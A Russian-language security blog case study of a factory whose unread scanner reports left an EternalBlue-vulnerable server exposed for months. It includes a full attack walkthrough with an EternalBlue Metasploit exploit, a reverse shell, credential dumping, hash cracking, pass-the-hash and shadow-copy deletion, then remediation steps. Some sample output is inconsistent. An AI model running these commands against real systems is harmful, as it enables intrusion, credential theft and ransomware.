CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Управление уязвимостями

Сканер уязвимостей за 400 тысяч не спас от дыры, которая держала завод открытым 8 месяцев

Разбираем реальный кейс: производственная компания год платила за VM-сканер, но никто не читал отчёты — и критичная уязвимость с полным доступом к сети провисела открытой восемь месяцев.

Разбор CIOlogia

История простая и от того особенно поучительная: инструмент купили, деньги потратили, а процесса не построили. В итоге дорогой сканер уязвимостей превратился в генератор PDF-файлов, которые складывали в папку и не открывали. Разберём этот случай подробнее — с техническими деталями того, что именно нашлось, как этим можно было воспользоваться и что реально сработало бы, если бы до атаки дошло.

Инструмент есть, процесса нет

На сервере компании лежала папка с полусотней отчётов сканера за год. Файлы открывали, бегло просматривали и закрывали — без назначенного ответственного, без сроков устранения, без приоритизации по критичности. Классическая ошибка: думают, что раз купили сканер — управление уязвимостями (Vulnerability Management, VM) появилось само собой. На деле VM — это процесс из трёх ролей:

  • ИБ находит и классифицирует уязвимости по критичности (CVSS, эксплуатируемость, доступность из сети)
  • ИТ устраняет их в согласованные сроки
  • Руководитель расставляет приоритеты, если ресурсов на закрытие всего списка сразу не хватает

Без этой связки сканер работает вхолостую — он честно находит проблемы, но никто не берёт на себя ответственность за их закрытие.

Что нашлось внутри

При разборе свежего отчёта вместе с ИТ-директором выяснилось: критичная уязвимость на сервере, где крутилась учётная система склада и производства, висела открытой восемь месяцев. Технически картина была такой:

  • на сервере (Windows Server, устаревшая сборка) был включён протокол SMBv1 — legacy-функция, оставленная «для совместимости со старым принтером» ещё при миграции
  • патчи из бюллетеня MS17-010 не устанавливались — сервер оставался уязвим к CVE-2017-0143—0148 (в том числе знаменитый EternalBlue, CVE-2017-0144)
  • сервер был доступен из общего сегмента сети без сегментации — офисные машины, склад и производственные ПК сидели в одном VLAN
  • сканер регулярно фиксировал находку с максимальным CVSS-рейтингом (9.8, критичный, RCE без аутентификации), но она просто накапливалась в списке из полусотни пунктов

Ключевая деталь — эта уязвимость эксплуатируется без единого пароля и без учётной записи: достаточно сетевой доступности до порта 445.

Как это эксплуатируется

Показываю типовой путь атаки для такого класса уязвимостей — то, что увидел бы любой пентестер или злоумышленник, попав во внутреннюю сеть (через фишинг, скомпрометированный VPN или физический доступ к розетке в цеху).

1. Разведка сети

nmap -sS -p1-1000,3389,445,139,135 -sV --open 192.168.10.0/24 -oN scan.txt

Открытые 139/445 на сервере учётной системы — первый сигнал проверить SMB отдельно.

2. Проверка на MS17-010

nmap -p445 --script smb-vuln-ms17-010 192.168.10.55

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH

Дополнительно можно подтвердить включённый SMBv1 напрямую с целевой машины (если есть доступ по WinRM/RDP-разведке):

Get-SmbServerConfiguration | Select EnableSMB1Protocol

3. Эксплуатация

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.55
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.10
run

[*] Started reverse TCP handler
[*] 192.168.10.55:445 - Connecting to target for exploitation.
[+] 192.168.10.55:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending all but last fragment of exploit packet
[+] 192.168.10.55:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.10.10:4444 -> 192.168.10.55:49158)

Сессия открывается с правами SYSTEM — то есть максимальными на этом хосте, без единого введённого пароля.

4. Закрепление и сбор учётных данных

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_1c:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

meterpreter > load kiwi
meterpreter > creds_all

Дампятся NTLM-хэши локальных учёток, в том числе сервисной учётки от учётной системы (svc_1c). Дальше — либо офлайн-подбор через hashcat, либо pass-the-hash без взлома вообще:

hashcat -m 1000 hashes.txt rockyou.txt --force
Session..........: hashcat
Status...........: Cracked
svc_1c:8846f7eaee8fb117ad06bdd830b7586c:Sklad2023!

5. Горизонтальное перемещение

crackmapexec smb 192.168.10.0/24 -u svc_1c -H 8846f7eaee8fb117ad06bdd830b7586c --shares

SMB 192.168.10.12 445 FS01 [+] CORP\svc_1c:8846f7... (Pwn3d!)
SMB 192.168.10.12 445 FS01 [*] Share: WAREHOUSE_DB Readable/Writable
SMB 192.168.10.12 445 FS01 [*] Share: 1C_BACKUP Readable/Writable

Одна дыра на одном сервере превращается в доступ к файловым шарам, резервным копиям учётной системы и — при попадании в привилегированную группу — к контроллеру домена.

Что и почему сработало бы дальше

Получив доступ уровня SYSTEM на сервере учётной системы и рабочие учётные данные, злоумышленник (или шифровальщик, автоматически сканирующий сеть на MS17-010, как это делал WannaCry в 2017 году) действует по стандартному сценарию:

  • выгружает базу данных склада и производства — коммерческая информация о контрагентах, ценах, объёмах — для продажи или шантажа
  • удаляет теневые копии, чтобы затруднить восстановление: vssadmin delete shadows /all /quiet
  • распространяется по сети через тот же SMB на все хосты с открытым 445-м портом — это самое опасное свойство EternalBlue-подобных уязвимостей, самораспространение без участия человека
  • шифрует файловые шары, включая базы 1С и бэкапы, если они лежали в той же сети без изоляции
  • оставляет записку с требованием выкупа — и производство встаёт, пока не восстановят системы из офлайн-копий или не заплатят

Именно поэтому оценка в три-четыре дня простоя не выдумана: восстановление после шифровальщика с распространением по всей сети — это не «переустановить один сервер», а разбор всей инфраструктуры, проверка каждого хоста на закладки и последовательное поднятие сервисов.

Купить сканер — это как поставить дома камеры видеонаблюдения и никогда не смотреть запись. Технически всё зафиксировано. Толку от этого ноль.

Четыре грабли, на которые наступают чаще всего

  • Отчёты сканера складывают в папку, но никто не назначен разбирать их регулярно
  • Нет договорённости, кто и в какой срок чинит найденные дыры — ИБ и ИТ спорят, чья это задача
  • Руководитель не в курсе рисков и не может расставить приоритеты, если чинить всё сразу нет ресурсов
  • Считают, что раз разработку делают аккуратно и безопасно, старые уязвимости в системах можно не патчить — это разные вещи, одно не заменяет другое

Как закрыли

Новый инструмент не понадобился — сканер уже был, деньги на него потратили год назад. Технически закрытие конкретной дыры заняло один день:

# Отключение устаревшего протокола на сервере
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# Установка накопительного обновления безопасности с патчем MS17-010
# (проверка наличия патча перед перезагрузкой)
Get-HotFix -Id KB4012212,KB4012213,KB4013429 | Select HotFixID, InstalledOn

Дальше — базовая сегментация: сервер учётной системы вынесли в отдельный VLAN с ограничением доступа по 445-му порту только с необходимых рабочих станций через ACL на коммутаторе/файрвол, сервисной учётке сменили пароль и включили политику ротации через LAPS.

Но главное изменение было не техническое, а организационное. Построили процесс:

  • раз в неделю отчёт сканера автоматически парсится и критичные находки (CVSS ≥ 9) уходят в отдельный чат
  • ИТ-отдел обязан закрыть критичную уязвимость за три рабочих дня — это SLA, зафиксированный на уровне регламента, а не устной договорённости
  • если задача зависает дольше срока — уведомление автоматически уходит владельцу бизнеса в мессенджер